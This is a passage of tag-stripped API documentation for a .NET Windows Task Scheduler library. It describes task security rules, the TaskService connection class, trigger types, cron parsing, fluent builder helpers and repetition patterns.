adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer as a SecureString. If the user name and securePassword are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets the user password in plain text from either userPassword or userSecurePassword. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + TaskService.Instance.FindAllTasks(t => t.Triggers.ContainsType(typeof(LogonTrigger)), true); + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Sets the user password as a secure string to be used when connecting to the . + A secure string containing the user password to set. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using + the or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Occurs when a property value changes. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + While the maximum value for this property is , the Windows Task Scheduler management + application that is part of the OS will fail if this value is greater than December 31, 9998. + + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. + However, the user interface and methods will always show the time translated to local time. The + library makes every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, + the "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the + user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task + Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is + repeated after the task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the is unspecified. If the DateTime value Kind is then it will be used as + is. If the DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user + interface and methods will always show the time translated to local time. The library makes + every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the + "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the user + selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will + behave as follows: + + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + + + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + + + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. Not intended for use. + + + Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + Adds a trigger that executes every day or week. + The interval of days or weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the + ITriggerDelay interface. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only + available for reading custom triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every + other day, every third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or + Windows Server 2003 and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from + the subscription query specified in the Subscription property. The name of the query can be used as a variable in the message of + a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all + entries in the property. + + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task + Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using + the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are + enumerated and any tasks registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, + then do not assign a value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty + LogonTrigger.UserId property and assign a value to the principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May + through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 + to 32 and bits are numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits + are considered to number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only + available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Occurs when a property value changes. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the + pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the task. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, 